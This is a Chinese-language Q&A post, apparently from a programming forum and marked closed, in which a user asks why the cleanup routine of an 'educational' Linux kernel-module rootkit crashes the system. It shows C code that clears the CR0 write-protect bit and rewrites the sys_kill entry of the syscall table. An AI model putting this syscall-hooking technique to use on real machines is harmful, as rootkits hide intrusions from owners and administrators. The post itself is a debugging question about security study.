在 rootkit 中恢复系统调用表会导致整个系统故障 [关闭]

Question

我正在为 Ubuntu 20.10 tls 虚拟机编写一个用于教育目的的 LKM rootkit。清理功能导致整个系统崩溃，原因我不知道

static void cleanup_hooks(void){
  set_memory_protection(false); //disables memory protection in cr0
  printk(KERN_INFO "cleanup_hooks: setting sys_kill to %p\n", orig_kill);
  __sys_call_table[__NR_kill] = (long unsigned int) &orig_kill;
  set_memory_protection(true); //enables memory protection in cr0
  printk(KERN_INFO "cleanup_hooks: set sys_kill back. lelantos cleaned up\n");
}

static void set_memory_protection(bool val){
  if (val){ //turn memory protection on
    //bitwise OR copies bit to result if it is in either operands
    write_cr0_forced(read_cr0() | (0x10000));
    printk(KERN_INFO "memory protection reastablished\n");
  }
  else{
    //bitwise AND copies bitsto result if it is in both operands
    //unary reverse (~) reverses bits so 0x10000 becomes 0x01111
    write_cr0_forced(read_cr0() & (~ 0x10000));
    printk(KERN_INFO "memory protection removed\n");
  }
}